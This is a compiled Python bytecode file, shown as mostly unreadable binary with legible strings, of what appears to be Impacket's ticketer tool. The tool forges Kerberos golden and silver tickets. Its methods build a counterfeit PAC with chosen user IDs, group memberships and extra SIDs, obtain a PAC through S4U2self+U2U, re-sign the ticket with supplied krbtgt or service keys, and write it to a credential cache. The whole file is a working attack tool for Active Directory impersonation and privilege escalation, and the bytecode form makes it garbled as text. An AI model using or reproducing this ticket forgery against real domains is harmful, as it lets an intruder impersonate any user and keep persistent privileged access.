o
    àý°j'á  ã                
   @   s  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
mZ d dlmZ d dlmZ d dlmZ d dlmZmZ d d	lmZ d d
lmZ d dlmZmZ d dlmZ d dlmZm Z m!Z!m"Z"m#Z#m$Z$m%Z% d dl&m'Z' d dl(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0 d dl1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z; d dl<m=Z= d dl>m?Z?m@Z@mAZA d dl>mBZB d dlCmDZDmEZEmFZFmGZGmHZHmIZImJZJmKZKmLZLmMZMmNZNmOZOmPZPmQZQmRZRmSZS d dlTmUZUmVZV d dlWmXZXmYZY d dlZm[Z[m\Z\ d dl(m]Z]m^Z^m_Z_m`Z`maZambZbmcZd d dl>meZemfZfmgZg d dlWmhZh d dlTmcZc d dlimjZj G dd„ dƒZkeldk�r…emejnƒ ejod d!d"�Zpepjqd#d$d%d&� epjqd'd$d(d&� epjqd)d*d+d,d-� epjqd.d$d d/d0� epjqd1d$d d2d0� epjqd3d$d4d5d6� epjqd7d$d8d&� epjqd9d$d:d&� epjqd;d$d<d=d-� epjqd>d$d?d@d-� epjqdAd$dBd&� epjqdCd*dDd&� epjqdEd*dFd&� epjqdGd$dHdId-� epjqdJd*dKd&� epjqdLd*dMd&� ep rdN¡ZsesjqdOd$dPd&� esjqdQd$dRd&� esjqdSd$dTdUd6� esjqdVd$dWdXd6� epjqdYd$dZd&� ete	juƒd[k�r1ep v¡  emd\ƒ emd]ƒ emd^ƒ emd_ƒ emd`ƒ emdaƒ emdbƒ emdcƒ emddƒ emdeƒ emdfƒ e	 wd[¡ ep x¡ Zye' zeyj{eyj|¡ eyj}du �rMe ~dg¡ e	 wd[¡ eyjdu �rieyj€du �rieyj�du �rie ‚dh¡ e	 wd[¡ eyjdu�r…eyj€du�r…eyjƒd+u �r…e ‚di¡ e	 wd[¡ eyjƒd u �r›eyj„du �r›e ‚dj¡ e	 wd[¡ eyjƒd u �r¸eyj…du �r¸eyj†du �r¸d dkl‡m‡Z‡ e‡dlƒZ†neyj†Z†eyjˆ�rIdmdn„ e‰eyjƒeyjeyj€eyj}eyj„eyj†eyjŠeyj‹gg do¢ƒD ƒZŒeŒ�rîe ‚dpdq �eŒ¡› �¡ e	 wd[¡ eyjŽ�s eyj‹�s e ‚dr¡ e	 wd[¡ g Z�eyj��re� ‘dC¡ eyj’du�re� ‘dA¡ eyj“du�r!e� ‘d;¡ eyj”du�r,e� ‘dG¡ e��r:e ‚dsdq �e�¡› �¡ eyjŽ�rIeyj‹du�rIe ‚dt¡ zekeyj•e†eyj}eyƒZ–e– —¡  W dS  e˜�y„ Z™ ze š¡ j›ejœk�rsd dl�Z�e� ž¡  emeŸe™ƒƒ W Y dZ™[™dS dZ™[™ww dS )ué    )Údivision)Úprint_functionN)Útimegm)Ústrptime)Ú	unhexlify)Úb)ÚencoderÚdecoder)ÚnoValue)Úversion)ÚRPC_SIDÚSID)ÚNDRULONG)ÚNULLÚGROUP_MEMBERSHIPÚSE_GROUP_MANDATORYÚSE_GROUP_ENABLED_BY_DEFAULTÚSE_GROUP_ENABLEDÚUSER_NORMAL_ACCOUNTÚUSER_DONT_EXPIRE_PASSWORD)Úlogger)ÚAS_REPÚTGS_REPÚETYPE_INFO2ÚAuthorizationDataÚEncTicketPartÚEncASRepPartÚEncTGSRepPartÚAD_IF_RELEVANT)
ÚApplicationTagNumbersÚPreAuthenticationDataTypesÚEncryptionTypesÚPrincipalNameTypeÚProtocolVersionNumberÚTicketFlagsÚencodeFlagsÚChecksumTypesÚAuthorizationDataTypeÚKERB_NON_KERB_CKSUM_SALT)ÚKeytab)ÚKeyÚ_enctype_tableÚget_kerberos_key_for_enctype)ÚEnctype)ÚKERB_SID_AND_ATTRIBUTESÚPAC_SIGNATURE_DATAÚPAC_LOGON_INFOÚPAC_CLIENT_INFO_TYPEÚPAC_SERVER_CHECKSUMÚPAC_PRIVSVR_CHECKSUMÚPKERB_SID_AND_ATTRIBUTES_ARRAYÚVALIDATION_INFOÚPAC_CLIENT_INFOÚKERB_VALIDATION_INFOÚUPN_DNS_INFO_FULLÚPAC_REQUESTOR_INFOÚPAC_UPN_DNS_INFOÚPAC_ATTRIBUTES_INFOÚPAC_REQUESTORÚPAC_ATTRIBUTE_INFO)ÚKerberosTimeÚ	Principal)ÚgetKerberosTGTÚgetKerberosTGS)Ú	constantsÚpac)ÚAP_REQÚTGS_REQÚAuthenticatorÚseq_setÚseq_set_iterÚPA_FOR_USER_ENCÚTicket)Ú_HMACMD5Ú
_AES256CTSÚstring_to_key)ÚsendReceive)rJ   )Úhexdumpc                   @   s¤   e Zd Zdd„ Zedd„ ƒZedd„ ƒZedd„ ƒZd	d
„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zedd„ ƒZdd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd „ Zd!d"„ Zd#S )$ÚTICKETERc                 C   s€   || _ || _|| _|| _d | _d | _d | _|jr7|j d¡}|d | _	|d | _
|jd ur5|  |j¡ d S d S d| _	| j| _
d S )Nú/r   é   Úkrbtgt)Ú_TICKETER__passwordÚ_TICKETER__targetÚ_TICKETER__domainÚ_TICKETER__optionsÚ_TICKETER__tgtÚ_TICKETER__tgt_session_keyÚ!_TICKETER__requested_ticket_timesÚspnÚsplitÚ_TICKETER__serviceÚ_TICKETER__serverÚkeytabÚloadKeysFromKeytab)ÚselfÚtargetÚpasswordÚdomainÚoptionsr[   © rf   úˆ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/ticketer.pyÚ__init__]   s    


ÿzTICKETER.__init__c                 C   s   | d9 } | d7 } | S )Ni€–˜ l     }*{Gírf   )Útrf   rf   rg   ÚgetFileTimeq   s   zTICKETER.getFileTimec                 C   ó
   t  | ¡S ©N)rC   Úget_pad_length©Údata_lengthrf   rf   rg   ÚgetPadLengthw   ó   
zTICKETER.getPadLengthc                 C   rk   rl   )rC   Úget_block_lengthrn   rf   rf   rg   ÚgetBlockLength{   rq   zTICKETER.getBlockLengthc           
      C   sº   t t|d d ƒ }d}tƒ }| j| jkrd}tƒ }| |||d d ¡}tj||d�d }|d  	¡ r8|d n|d	 }|d
  	¡ rF|d
 n|d }	|d	  
¡ | 
¡ |d  
¡ |	 
¡ dœS )Núenc-partÚetypeé   é   Úcipher©Úasn1Specr   Ú	starttimeÚauthtimeú
renew-tillÚendtime)r|   r{   r~   r}   )r+   Úintr   rV   r^   r   Údecryptr	   ÚdecodeÚhasValueÚclone)
ra   ÚkdcRepÚreplyKeyrx   ÚkeyUsageÚencKDCRepPartSpecÚ	plainTextÚencKDCRepPartr{   Ú	renewTillrf   rf   rg   Ú_extract_reply_ticket_times   s   

üz$TICKETER._extract_reply_ticket_timesc                 C   s€   t  |¡}| dtj| jf ¡}|r7|d tjks |d tjkr'| 	¡ t_
d S |d tjkr5| 	¡ t_d S d S t dtj¡ d S )Nz%s@%sÚkeytypez3No matching key for SPN '%s' in given keytab found!)r)   ÚloadFileÚgetKeyre   r[   rV   r-   ÚAES256ÚAES128ÚhexlifiedValueÚaesKeyÚRC4ÚnthashÚloggingÚwarning)ra   Úfilenamer_   Úkeyblockrf   rf   rg   r`   •   s   
ÿzTICKETER.loadKeysFromKeytabc           	      C   s`  t ƒ }ttj tjj¡ ¡ ƒ}|  |¡}|d@ |d d< |d? |d d< d|d d< d|d d< d|d d< d|d d< |d@ |d	 d< |d? |d	 d< d
|d d< d
|d d< d|d d< d|d d< | j|d< d|d< d|d< d|d< d|d< d|d< d|d< d
|d< t	| j
jƒ|d< | j
j d¡}t|ƒd
krŸd|d< nt	|d
 ƒ|d< t|ƒ|d< |D ]!}tƒ }tƒ }t	|ƒ|d< ||d< ttB tB |d< |d  |¡ q¯d
|d < d!|d"< d|d#< | j ¡ |d$< |d%  | j
j¡ d&|d'< ttB |d(< d
|d)< d
|d* d< d
|d* d< d
|d+ d< d
|d+ d< d
|d,< d
|d-< t|d.< d
|d/< t|d0< tƒ }||d< |S )1Nì   ÿÿ Ú	LogonTimeÚdwLowDateTimeé    ÚdwHighDateTimeÚ
LogoffTimeiÿÿÿÚKickOffTimeÚPasswordLastSetr   ÚPasswordCanChangeÚPasswordMustChangeÚEffectiveNameÚ ÚFullNameÚLogonScriptÚProfilePathÚHomeDirectoryÚHomeDirectoryDriveiô  Ú
LogonCountÚBadPasswordCountÚUserIdú,i  ÚPrimaryGroupIdÚ
GroupCountÚDataÚ
RelativeIdÚ
AttributesÚGroupIdsÚ	UserFlagsó                   ÚUserSessionKeyÚLogonServerÚLogonDomainNameÚLogonDomainIds           ÚLMKeyÚUserAccountControlÚSubAuthStatusÚLastSuccessfulILogonÚLastFailedILogonÚFailedILogonCountÚ	Reserved3ÚResourceGroupDomainSidÚResourceGroupCountÚResourceGroupIds)r7   r   ÚdatetimeÚnowÚtimezoneÚutcÚ	timetuplerj   rU   r   rW   Úuser_idÚgroupsr\   Úlenr   r   r   r   r   ÚappendrV   ÚupperÚfromCanonicalÚ
domain_sidr   r   r   r5   )	ra   ÚkerbdataÚaTimeÚunixTimerÊ   ÚgroupÚgroupMembershipÚgroupIdÚvalidationInforf   rf   rg   ÚcreateBasicValidationInfo    sp   



z"TICKETER.createBasicValidationInfoc                 C   s@  |   ¡ }i }| ¡ | ¡  |t< tƒ }tƒ }|d d d tjjkr7tj	j|d< tj	j|d< d|d< d|d< n)d|d< d|d< t
| jjƒdkrTtjj|d< tjj|d< ntjj|d< tjj|d< | ¡ |t< | ¡ |t< tƒ }| j d	¡|d
< t
|d
 ƒ|d< | ¡ |t< | jjrŽ|  |¡ | jjdu rž|  |¡ |  |¡ |S )NÚticketrt   ru   ÚSignatureTyperµ   Ú	Signatures               é@   zutf-16leÚNameÚ
NameLengthF)r×   ÚgetDataÚgetDataReferentsr0   r/   r!   Úrc4_hmacÚvaluer&   Úhmac_md5rË   rW   r’   Úhmac_sha1_96_aes256Úhmac_sha1_96_aes128r2   r3   r6   rU   Úencoder1   Ú	extra_pacÚcreateUpnDnsPacÚold_pacÚcreateAttributesInfoPacÚcreateRequestorInfoPac)ra   r„   rÖ   ÚpacInfosÚsrvCheckSumÚprivCheckSumÚ
clientInforf   rf   rg   ÚcreateBasicPacþ   s:   



zTICKETER.createBasicPacc                 C   sª  t ƒ }d|  t|ƒ¡ }| j ¡ › d| j ¡ › � d¡}t|ƒ|d< t|ƒt|ƒ |d< |d |d  }|  |¡}|d| 7 }| j ¡  d¡}t|ƒ|d< || |d< |d |d  }|  |¡}|d| 7 }d|d	< | j d¡}t|ƒ|d
< || |d< |d |d
  }|  |¡}|d| 7 }tƒ }	|	 	| j
j› d| j
j› �¡ t|	ƒ|d< || |d< |d |d  }|  |¡}|	 ¡ d|  }
|| | |
 }| ¡ | | |t< d S )Nó    ú@z	utf-16-leÚ	UpnLengthÚ	UpnOffsetÚDnsDomainNameLengthÚDnsDomainNameOffseté   ÚFlagsÚSamNameLengthÚSamNameOffsetú-Ú	SidLengthÚ	SidOffset)r8   rp   rË   rU   ÚlowerrV   rå   rÍ   r   rÎ   rW   rÏ   rÉ   rÞ   r:   )ra   rë   Ú
upnDnsInfoÚPAC_padÚupn_dataÚ	total_lenÚpadÚdns_nameÚsamNameÚuser_sidÚ	user_dataÚpost_pac_datarf   rf   rg   rç   %  s<    



zTICKETER.createUpnDnsPacc                 C   s&   t ƒ }d|d< d|d< | ¡ | t< d S )Nrö   ÚFlagsLengthrR   r÷   )r=   rÞ   r;   )rë   ÚpacAttributesrf   rf   rg   ré   N  s   z TICKETER.createAttributesInfoPacc                 C   s@   t ƒ }tƒ |d< |d  | jj› d| jj› �¡ | ¡ |t< d S )NÚUserSidrú   )r<   r   rÎ   rW   rÏ   rÉ   rÞ   r9   )ra   rë   ÚpacRequestorrf   rf   rg   rê   V  s   
 zTICKETER.createRequestorInfoPacc                 C   s„  | j jdu �rU| j| jkrt d¡ nt d¡ | j jd ur(| j j d¡\}}nd}d}t| j j	t
jjd�}t|| j| jt|ƒt|ƒd | j jƒ\}}}}|||| _| _| _| j| jkrhtj|tƒ d�d }n"t| j jt
jjd�}	t|	| jd |||ƒ\}
}}}tj|
tƒ d�d }|  ||¡| _t|d	 d
 d ƒ}t|d
 d ƒ}|tjjks¯|tjjkr¼| j j d u r¼t !d¡ dS |tj"jksÈ|tj"jkrÕ| j j#d u rÕt !d¡ dS |tj"jksá|tj"jkrö| j j#d uröt$| j j#ƒdkröt !d¡ dS |tj%jk�s|tj%jk�r| j j#d u �rt !d¡ dS |tj%jk�s |tj%jk�r7| j j#d u�r7t$| j j#ƒdk �r7t !d¡ dS t
jj|d d< t&|d d< | j j'�pL| j(|d d d< �ndt d¡ | j| jk�rktƒ }t)jj|d< n	tƒ }t)jj|d< d|d< | j j d u �rÏt&|d< t&|d d< t*j+j|d d d< t,ƒ }t&|d< t$| j j#ƒdk�r¬tj%j|d d< ntj"j|d d< d| j -¡ | j(f |d d< t. /|¡}||d d d< | j -¡ |d < t&|d< t
jj|d d< t&|d d< | j(|d d d< t&|d	< t0j1j|d	 d!< | j -¡ |d	 d"< t&|d	 d#< t&|d	 d# d< | j2|d	 d# d d< | j| jk�r>t
jj|d	 d# d< | j -¡ |d	 d# d d$< nt
jj|d	 d# d< | j|d	 d# d d$< t&|d	 d
< d%|d	 d
 d&< t&|d
< | j j d u �r›t$| j j#ƒdk�rˆtj%j|d	 d
 d< tj%j|d
 d< n%tj"j|d	 d
 d< tj"j|d
 d< ntjj|d	 d
 d< tjj|d
 d< d%|d
 d&< t&|d
 d'< |  3|¡}||fS )(NTz/Requesting TGT to target domain to use as basisz3Requesting TGT/TGS to target domain to use as basisú:r¤   ©Útypery   r   rØ   rt   ru   z�rc4_hmac is used in this ticket and you haven't specified the -nthash parameter. Can't continue ( or try running again w/o the -request option))NNz�aes128_cts_hmac_sha1_96 is used in this ticket and you haven't specified the -aesKey parameter. Can't continue (or try running again w/o the -request option)rœ   z™aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. Can't continue (or try running again w/o the -request option)z�aes256_cts_hmac_sha1_96 is used in this ticket and you haven't specified the -aesKey parameter. Can't continue (or try running again w/o the -request option)rÛ   zjaes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. Can't continueÚcnameú	name-typeúname-stringz,Creating basic skeleton ticket and PAC Infosúmsg-typeé   ÚpvnoÚpadataúpadata-typez%s%sÚsaltúpadata-valueÚcrealmztkt-vnoÚrealmÚsnamerR   rö   Úkvnorx   )4rW   ÚrequestrV   r^   r•   ÚinfoÚhashesr\   r?   Úuserr"   ÚNT_PRINCIPALrá   r@   rT   r   Údc_iprX   Ú_TICKETER__tgt_cipherrY   r	   r�   r   r[   ÚNT_SRV_INSTrA   r   r‹   rZ   r   r!   rà   r”   ÚcriticalÚaes128_cts_hmac_sha1_96r’   rË   Úaes256_cts_hmac_sha1_96r
   ÚimpersonaterU   r   r    ÚPA_ETYPE_INFO2r   rÍ   r   rå   r#   r  r]   rï   )ra   Úlmhashr”   ÚuserNameÚtgtrx   ÚoldSessionKeyÚ
sessionKeyr„   Ú
serverNameÚtgsÚticketCipherÚencPartCipherÚetype2ÚencodedEtype2rë   rf   rf   rg   ÚcreateBasicTicket]  sØ   
þÿ
ÿÿÿ ÿ 


zTICKETER.createBasicTicketc                 C   st  | j }| j}| j}| jj}tj|tƒ d�d }tƒ }| 	|d ¡ t
ƒ }d|d< ttjj
jƒ|d< tƒ }t |¡|d< t|d|jƒ tƒ }	d|	d< t|d	 ƒ|	d	< tƒ }
|
 	|d	d
¡ t|	d
|
jƒ tj tjj¡}|j|	d< t |¡|	d< t ¡ jtj kr�t !d¡ t"|	 #¡ ƒ t"dƒ t$ %|	¡}| &|d|d ¡}t'|d< |j(|d d< ||d d< t$ %|¡}t)ƒ }d|d< ttjj)jƒ|d< t'|d< t'|d d< ttj*j+jƒ|d d d< ||d d d< t| jj,tj-j.jd�}
t/ 0dtj-j.j¡}|t1| jj,ƒt1| j2ƒ d 7 }t ¡ jtj k�rt !d¡ t3|ƒ t4 5|d|¡}t ¡ jtj k�r-t !d¡ t3|ƒ t6ƒ }t|d|
jƒ | j2|d< t'|d< ttj7j8jƒ|d d< ||d d < d!|d"< t ¡ jtj k�rit !d#¡ t"| #¡ ƒ t$ %|¡}t'|d d$< ttj*j9jƒ|d d$ d< ||d d$ d< t|d%ƒ}tƒ }| :tj;j<j¡ | :tj;j=j¡ | :tj;j>j¡ | :tj;j?j¡ | :tj;j@j¡ t |¡|d&< t| jjA| jjBtj-jCjd�}t|d'|jƒ t|d	 ƒ|d(< tj tjj¡tjDd$d)� }t |¡|d*< tE Fd+¡|d,< tG|dt|j(ƒttjHjIjƒfƒ tG|d-| tJƒ ¡fƒ t ¡ jtj k�r(t !d.¡ t"| #¡ ƒ t$ %|¡}tK|| j2|ƒ}|d |d fS )/Nry   r   rØ   r  r  r  z
ap-optionszauthenticator-vnor  r  ÚcusecÚctimeÚAUTHENTICATORÚ
é   Úauthenticatorru   rx   r  r  r  r  z<Is   KerberosÚS4UByteArrayé   ÚCheckSumr+  Ú	userRealmÚcksumÚ	cksumtypeÚchecksumÚKerberoszauth-packagerI   rR   zreq-bodyzkdc-optionsr  r  )ÚdaysÚtillé   Únoncezadditional-ticketsz	Final TGS)LrX   r#  rY   rW   r"  r	   r�   r   rJ   Ú	from_asn1rD   r   rB   r   rá   Úlistr%   rG   Úto_asn1rF   Ústrr?   Úcomponents_to_asn1rÄ   rÅ   rÆ   rÇ   Úmicrosecondr>   r•   Ú	getLoggerÚlevelÚDEBUGÚdebugÚprintÚprettyPrintr   rå   Úencryptr
   ÚenctyperE   r    Ú
PA_TGS_REQr(  r"   r!  ÚstructÚpackr   rV   rO   rK   rB  rI   r&   râ   ÚPA_FOR_USERrÌ   Ú
KDCOptionsÚforwardableÚ	renewableÚcanonicalizeÚrenewable_okÚenc_tkt_in_skeyr   rd   Ú
NT_UNKNOWNÚ	timedeltaÚrandomÚgetrandbitsrH   r!   rà   Ú
TicketAsn1rN   )ra   r,  rx   r.  ÚkdcHostÚ
decodedTGTrØ   ÚapReqÚoptsr;  Ú
clientNamerÅ   ÚencodedAuthenticatorÚencryptedEncodedAuthenticatorÚencodedApReqÚtgsReqr<  ÚcheckSumÚpaForUserEncÚencodedPaForUserEncÚreqBodyr/  ÚmessageÚrrf   rf   rg   ÚgetKerberosS4U2SelfU2Uæ  s®   









ÿ

zTICKETER.getKerberosS4U2SelfU2Uc           -      C   s@  t  d| j| jf ¡ tj tjj¡tjt	| j
jƒd� }| j
j�rât  d| j
j ¡ |  ¡ \}}}}t  d¡ tj|tƒ d�d }|d d d	 }	tt	|d d d
 ƒ }
|
 | jd|	¡}tj|tƒ d�d }tj|d d d tƒ d�d }t |d d  ¡ ¡}tƒ }|d }d}d}t  d¡ t|d ƒD ]y}t |¡}|d |d d d … d |d … }|t|ƒd … }|d ttfv rít|ƒ}|d t j!j"krÓd|d< n|d t j#j"kràd|d< nd|d< | $¡ ||d < q™|d t%krüd}|||d < q™|d t&k�rd}|||d < q™|||d < q™| j
j'du �r"|�s"|  (|¡ | j
j'du �r=|�s=| j
j)dk�r8t  *d¡ |  +|¡ t  d¡ dd„ t,t-|d   .¡ ƒƒD ƒ}|}t/j0j"t/j1j"t/j2j"t/j3j"g}| j| j4k�ro| 5t/j6j"¡ |D ]}||v�r}| 5|¡ �qqt7|ƒ|d < t  d!¡ |d d d
 |d" d#< |d" d# t8j9j"k�r³d$ :d%d„ td&ƒD ƒ¡|d" d'< �n|d" d# t8j;j"k�rÐd$ :d(d„ td)ƒD ƒ¡|d" d'< �nôd$ :d*d„ td&ƒD ƒ¡|d" d'< �nâtƒ }t-ƒ }| 5t/j0j"¡ | 5t/j1j"¡ | 5t/j2j"¡ | j| j4k�r| 5t/j6j"¡ | 5t/j3j"¡ t7|ƒ|d < t<|d"< |d d d
 |d" d#< |d" d# t8j9j"k�rDd$ :d+d„ td&ƒD ƒ¡|d" d'< n,|d" d# t8j;j"k�r`d$ :d,d„ td)ƒD ƒ¡|d" d'< nd$ :d-d„ td&ƒD ƒ¡|d" d'< | j =¡ |d.< t<|d/< t>j?j"|d/ d0< t<|d/ d1< | j|d/ d1 d< t<|d2< d|d2 d3< d$|d2 d4< | j
j@�rÒ| jAd u�rÒ| jAd5  B¡ |d5< | jAd6  B¡ |d6< | jAd7  B¡ |d7< | jAd8  B¡ |d8< n(tC Dtj tjj¡¡|d5< tC Dtj tjj¡¡|d6< tC D|¡|d7< tC D|¡|d8< t<|d< t<|d d< tEjj"|d d d9< t<|d d d< tF|v �r'|tF }tGƒ }| H|tF ¡ t| $¡ ƒ}| I||¡ tJtKtL|d5 ƒd:ƒƒ}|  M|¡}tNƒ }|d;@ |d< d=< |d)? |d< d>< | j =¡ |d? d@< | j|d? dA< | j
jO PdB¡}t-ƒ |d? dC< t|ƒ|d? dD< |D ]$} tQƒ }!tRƒ }"t	| ƒ|"d?< |"|!dE< tStTB tUB |!dF< |d? dC  5|!¡ �q€| j
jVd u�rþ| j
jV PdB¡}#|d? dG dk�rÍ|d? dH  d)O  < tWƒ |d? dI< |#D ]-}$|d? dG  dJ7  < tXƒ }%tYƒ }&|& Z|$¡ |&|%dK< tStTB tUB |%dF< |d? dI  5|%¡ �qÏnt[|d? dI< | $¡ | \¡  }'|'|tF< t  ]¡ j^t j_k�r&t  `dL¡ | a¡  tbdMƒ ntcdNƒ‚t  dO¡ t|v �rbt|t ƒ}(|(d t j!j"k�rId|(d< n|(d t j#j"k�rWd|(d< nd|(d< |( $¡ |t< ntcdPƒ‚t|v �rœt|t ƒ})d|)d< |)d t j!j"k�rƒd|)d< n|)d t j#j"k�r‘d|)d< nd|)d< |) $¡ |t< ntcdQƒ‚td|v �r¶te|td ƒ}*||*dR< |* $¡ |td< ntcdSƒ‚t  dT¡ t  dU¡ | j| j4k�rÏtfƒ }+ntgƒ }+t<|+d"< |d" d# |+d" d#< |d" d' |+d" d'< t<|+dV< t<|+dV d< d|+dV d dW< tC Dtj tjj¡¡|+dV d dX< dY|+dZ< tC D|¡|+d[< g }|d  D ]},| 5|,¡ �q||+d < tL|d5 ƒ|+d5< tL|d7 ƒ|+d7< tL|d6 ƒ|+d6< tL|d8 ƒ|+d8< | j =¡ |+d\< t<|+d]< t<|+d] d1< | jh|+d] d1 d< | j| j4k�r…t>jij"|+d] d0< | j =¡ |+d] d1 dJ< t  d^¡ nt>j?j"|+d] d0< | j4|+d] d1 dJ< t  d_¡ |+||fS )`NzCustomizing ticket for %s/%s)Úhoursz+	Requesting S4U2self+U2U to obtain %s's PACz#	Decrypting ticket & extracting PACry   r   rØ   rt   rx   ru   rö   úauthorization-dataúad-dataÚBuffersFz	Clearing signaturesÚcBuffersÚOffsetrv   ÚcbBufferSizeÚulTyperÙ   z            rÚ   z                TÚ500a  User ID is 500, which is Impacket's default. If you specified -user-id, you can ignore this message. If you didn't, and you get a KDC_ERR_TGT_REVOKED error when using the ticket, you will need to specify the -user-id with the RID of the target user to impersonatez	Adding necessary ticket flagsc                 S   s   g | ]
\}}|d kr|‘qS )Ú1rf   )Ú.0ÚiÚxrf   rf   rg   Ú
<listcomp>´  s    z,TICKETER.customizeTicket.<locals>.<listcomp>Úflagsz	Changing keytypeÚkeyrŒ   r¤   c                 S   ó   g | ]}t  tj¡‘qS rf   ©rb  ÚchoiceÚstringÚascii_letters©r  Ú_rf   rf   rg   r‚  Â  ó    é   Úkeyvaluec                 S   r…  rf   r†  rŠ  rf   rf   rg   r‚  Ä  rŒ  rœ   c                 S   r…  rf   r†  rŠ  rf   rf   rg   r‚  Æ  rŒ  c                 S   r…  rf   r†  rŠ  rf   rf   rg   r‚  ×  rŒ  c                 S   r…  rf   r†  rŠ  rf   rf   rg   r‚  Ù  rŒ  c                 S   r…  rf   r†  rŠ  rf   rf   rg   r‚  Û  rŒ  r  r  r  r  Ú	transitedztr-typeÚcontentsr|   r{   r~   r}   úad-typez%Y%m%d%H%M%SZr™   rš   r›   r�   r°   r¸   r£   r­   r³   r¯   r±   r²   ÚSidCountr´   Ú	ExtraSidsrR   ÚSidz$VALIDATION_INFO after making it goldr9  z"PAC_LOGON_INFO not found! Abortingz	PAC_LOGON_INFOz'PAC_SERVER_CHECKSUM not found! Abortingz(PAC_PRIVSVR_CHECKSUM not found! AbortingÚClientIdz(PAC_CLIENT_INFO_TYPE not found! Abortingz	PAC_CLIENT_INFO_TYPEú	EncTicketPartzlast-reqzlr-typezlr-valueiÍ[rG  zkey-expirationÚsrealmr  z	EncAsRepPartú	EncTGSRepPart)jr•   r  rV   rU   rÄ   rÅ   rÆ   rÇ   ra  r   rW   Údurationr(  rt  r	   r�   r   r+   r€   rY   r   r   rC   ÚPACTYPEÚasOctetsÚdictÚrangeÚPAC_INFO_BUFFERrË   r2   r3   r/   r&   rã   rá   rä   rÞ   r;   r9   rè   ré   rÉ   r–   rê   Ú	enumeraterI  ÚasBinaryr$   r[  Ú	proxiabler\  Úpre_authentr^   rÌ   Úinitialr%   r!   r&  Újoinr'  r
   rÍ   r"   r!  r  rZ   rƒ   r>   rJ  r'   r0   r5   Ú
fromStringÚfromStringReferentsr   r   rK  rj   r7   rÊ   r\   r   r   r   r   r   Ú	extra_sidr4   r.   r   rÎ   r   rß   rN  rO  rP  rQ  ÚdumprR  Ú	Exceptionr1   r6   r   r   r]   r$  )-ra   r„   rë   ÚticketDurationr0  rx   r-  r.  ÚdecodedTicketÚ
cipherTextÚ	newCipherrˆ   ÚencTicketPartÚadIfRelevantÚpacTypeÚbuffÚAttributesInfoPacInS4UU2UPACÚRequestorInfoPacInS4UU2UPACÚbufferNÚ
infoBufferÚdatarB  ÚoriginalFlagsrƒ  ÚnewFlagsÚnewFlagrÖ   ÚlenValrÑ   rÒ   rÐ   rÊ   rÓ   rÔ   rÕ   Ú	extrasidsÚextrasidÚ	sidRecordÚsidÚvalidationInfoBlobÚserverChecksumÚprivSvrChecksumÚpacClientInfoÚ
encRepPartr€  rf   rf   rg   ÚcustomizeTicketm  s–  $

 

$







€
$$$"" 


ô
€









"

zTICKETER.customizeTicketc                 C   s&  t  d¡ ttg}tttfD ]}||v r| |¡ q| t	t
g¡ tj|| jj| jj|td�}tƒ }t|d< tjj|d d< | ¡ |d d< t |¡}||d d d< t  ¡ jt jkrjt  d¡ t| ¡ ƒ tdƒ t |¡}	t|d	 d
 d  }
t |
j!| jj| jjd�}t  d¡ |
 "|d|	d ¡}||d	 d
 d< d|d	 d
 d< t |¡}| j#| j$krÇt%|
j!|d d  &¡ ƒ}t  d¡ |
 "|d|d ¡}nt%|
j!|d d  &¡ ƒ}t  d¡ |
 "|d|d ¡}||d
 d< |
j!|d
 d< d|d
 d< t  ¡ jt jk�rt  d¡ t| ¡ ƒ tdƒ t |¡|
|fS )NzSigning/Encrypting final ticket)Úaes_keyÚnt_hashÚbuffer_orderÚchecksum_saltr   r‘  rw  rv  zCustomized EncTicketPartr9  rØ   rt   ru   )rÆ  Úgeneric_aes_keyr–  rö   rx   r  r„  rŽ  z	EncASRepPartrw   r˜  rv   rR   zFinal Golden Ticket)'r•   r  r0   r1   r:   r;   r9   rÌ   Úextendr2   r3   rC   Úsign_pacrW   r’   r”   r(   r   r
   r'   ÚAD_WIN2K_PACrá   rÞ   r   rå   rN  rO  rP  rQ  rR  rS  r+   r,   rU  rT  rV   r^   r*   r›  )ra   r„   ÚencASorTGSRepPartr®  rë   ÚbufferOrderÚoptionalTyper°  ÚauthorizationDataÚencodedEncTicketPartrx   r„  r¬  ÚencodedEncASRepPartr.  rf   rf   rg   ÚsignEncryptTicketƒ  s^   

€ÿ


ý





zTICKETER.signEncryptTicketc                 C   s¦   t  d| j dd¡d  ¡ ddlm} ddlm}m} |dƒ}|r-| 	|¡r-| 
|¡}n|ƒ }| j| jkr>| |||¡ n| |||¡ | | j dd¡d ¡ d S )	NzSaving/Updating ticket in %srQ   Ú.z.ccacher   )ÚCCache)ÚgetenvÚpathÚ
KRB5CCNAME)r•   r  rU   ÚreplaceÚimpacket.krb5.ccacherÕ  ÚosrÖ  r×  Úisfiler�   r^   rV   ÚfromTGTÚfromTGSÚsaveFile)ra   rØ   r.  rÕ  rÖ  r×  Úkrb5Úccacherf   rf   rg   Ú
saveTicketÏ  s   zTICKETER.saveTicketc                 C   sP   |   ¡ \}}|d ur&|  ||¡\}}}|  ||||¡\}}}|  ||¡ d S d S rl   )r5  rÄ  rÓ  râ  )ra   rØ   r¯  rÍ  r®  rë   rx   r.  rf   rf   rg   Úrunß  s   ýzTICKETER.runN)Ú__name__Ú
__module__Ú__qualname__rh   Ústaticmethodrj   rp   rs   r‹   r`   r×   rï   rç   ré   rê   r5  rt  rÄ  rÓ  râ  rã  rf   rf   rf   rg   rP   \   s4    


^')
 
   LrP   Ú__main__Tz>Creates a Kerberos golden/silver tickets based on user options)Úadd_helpÚdescriptionrb   Ústorez%username for the newly created ticket)ÚactionÚhelpz-spnz}SPN (service/server) of the target service the silver ticket will be generated for. if omitted, golden ticket will be createdú-requestÚ
